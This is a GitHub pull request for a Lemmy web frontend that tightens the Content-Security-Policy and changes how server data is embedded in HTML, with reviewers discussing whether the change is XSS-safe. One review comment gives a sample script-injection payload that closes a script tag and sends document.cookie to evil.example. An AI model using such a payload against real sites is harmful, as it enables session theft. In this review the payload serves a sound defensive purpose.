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improve CSP to prevent XSS #1900

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improve CSP to prevent XSS #1900

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11 changes: 10 additions & 1 deletion src/server/middleware.ts
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Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,16 @@ export function setDefaultCsp({
}) {
res.setHeader(
"Content-Security-Policy",
`default-src 'self'; manifest-src *; connect-src *; img-src * data:; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; form-action 'self'; base-uri 'self'; frame-src *; media-src * data:`
`default-src 'self';
manifest-src *;
connect-src *;
img-src * data:;
script-src 'self';
style-src 'self' 'unsafe-inline';
form-action 'self';
base-uri 'self';
frame-src *;
media-src * data:`.replace(/\s+/g, " ")
);

next();
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9 changes: 6 additions & 3 deletions src/server/utils/create-ssr-html.tsx
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Original file line number Diff line number Diff line change
@@ -1,7 +1,6 @@
import { getStaticDir } from "@utils/env";
import { Helmet } from "inferno-helmet";
import { renderToString } from "inferno-server";
import serialize from "serialize-javascript";
import sharp from "sharp";
import { favIconPngUrl, favIconUrl } from "../../shared/config";
import { ILemmyConfig, IsoDataOptionalSite } from "../../shared/interfaces";
Expand Down Expand Up @@ -59,8 +58,12 @@ export async function createSsrHtml(
<!DOCTYPE html>
<html ${helmet.htmlAttributes.toString()}>
<head>
<script>window.isoData = ${serialize(isoData)}</script>
<script>window.lemmyConfig = ${serialize(config)}</script>
<script type="application/json" id="isoData">${JSON.stringify(
isoData
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Going back to stringify will allow all the old XSS vulns.

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To clarify JSON.stringify is not sufficient for encoding arbitrary JSON data into HTML. Most notably something like this:

{"foo":"</script><script>fetch(`https://evil.example/${document.cookie}`)</script>"}

We should not be doing adhoc embedding of data into HTML. We should be using proper serialization.

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@phiresky phiresky Jul 10, 2023 •
edited
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It shouldn't allow other XSS because of the CSP header but otherwise you're right. I think the best way to do proper serialization then would be to use renderToString(<script>{JSON.stringify(...)}</script>) from inferno then though? Since that must have correct escaping internally

)}</script>
<script type="application/json" id="lemmyConfig">${JSON.stringify(
config
)}</script>

<!-- A remote debugging utility for mobile -->
${erudaStr}
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4 changes: 3 additions & 1 deletion src/shared/utils/app/set-iso-data.ts
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Expand Up @@ -6,6 +6,8 @@ export default function setIsoData<T extends RouteData>(
): IsoData<T> {
// If its the browser, you need to deserialize the data from the window
if (isBrowser()) {
return window.isoData;
const ele = document.getElementById("isoData");
if (!ele) throw Error("could not find iso data");
return JSON.parse(ele.textContent ?? "");
} else return context.router.staticContext;
}